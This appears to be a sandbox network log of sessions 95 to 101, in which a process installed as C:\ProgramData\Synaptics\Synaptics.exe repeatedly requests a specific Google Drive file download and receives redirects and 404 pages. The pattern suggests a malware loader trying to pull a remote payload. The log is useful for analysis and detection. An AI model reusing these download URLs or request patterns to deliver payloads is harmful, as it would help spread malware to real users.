2025-01-02 19:28:45 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-tZqTSV088RWx-vkbqifpMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50057	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:45 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-kPCHvdGr1vbYyzrojjVw4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50056	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:45 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:46 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC42HBJrvV6F80jZnofs6IwFzCeh2VLhuvi3plaUl6PMe_HzUerRFokst-aFZ4oeZVJc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:45 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-tPDBd6pqh52opS7iEDmg7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:46 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:46 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 61 65 48 69 7a 30 76 61 64 6d 65 72 7a 70 51 38 45 5a 36 42 52 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="aeHiz0vadmerzpQ8EZ6BRw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:46 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50054	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:45 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:46 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7ed8-DNvsqUgG8-ThHQq83C5dNe4XYtyFw1xdGwAbKg5VD-XRIH98dUM8EvFalD-DuwdTy6tE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:46 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dPZzyOKM5vu2g7K8wf0Jdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:46 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:46 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 6b 72 32 52 79 6a 6a 6f 45 5f 6c 46 4a 45 75 6a 5f 48 55 42 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="rkr2RyjjoE_lFJEuj_HUBQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:46 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50066	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:46 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-xQ2Sb-AFYg1idsUVd9p2uw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50067	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:46 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-ZVP6TXbyReJSo2_T9G0xRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50068	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:46 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:47 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5rznh94cGkkxf4NEx-K4VJn3usmeKfw1DdHb7454cvd6YJM4KRA63PtU_VoAPCQq7w Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:47 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-C4_IYbf2PSmfzGgShRvULQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:47 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:47 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5a 66 55 65 50 78 64 62 2d 4d 2d 4a 57 77 53 54 66 58 34 39 62 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="ZfUePxdb-M-JWwSTfX49bA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:47 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50070	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:46 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:47 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6onpc1E9JbouVjdYTgqTNS7FwG0k6vOFfPF-ScvFUZVUbmJNprDVGkwi5ZMoo8N5gB Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:47 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nQlmMVt_WNRBTwm3lLQ4Dw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:47 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:47 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 5f 64 4c 38 79 72 31 45 4c 61 77 78 6c 72 35 75 6c 2d 4e 4e 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="G_dL8yr1ELawxlr5ul-NNA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
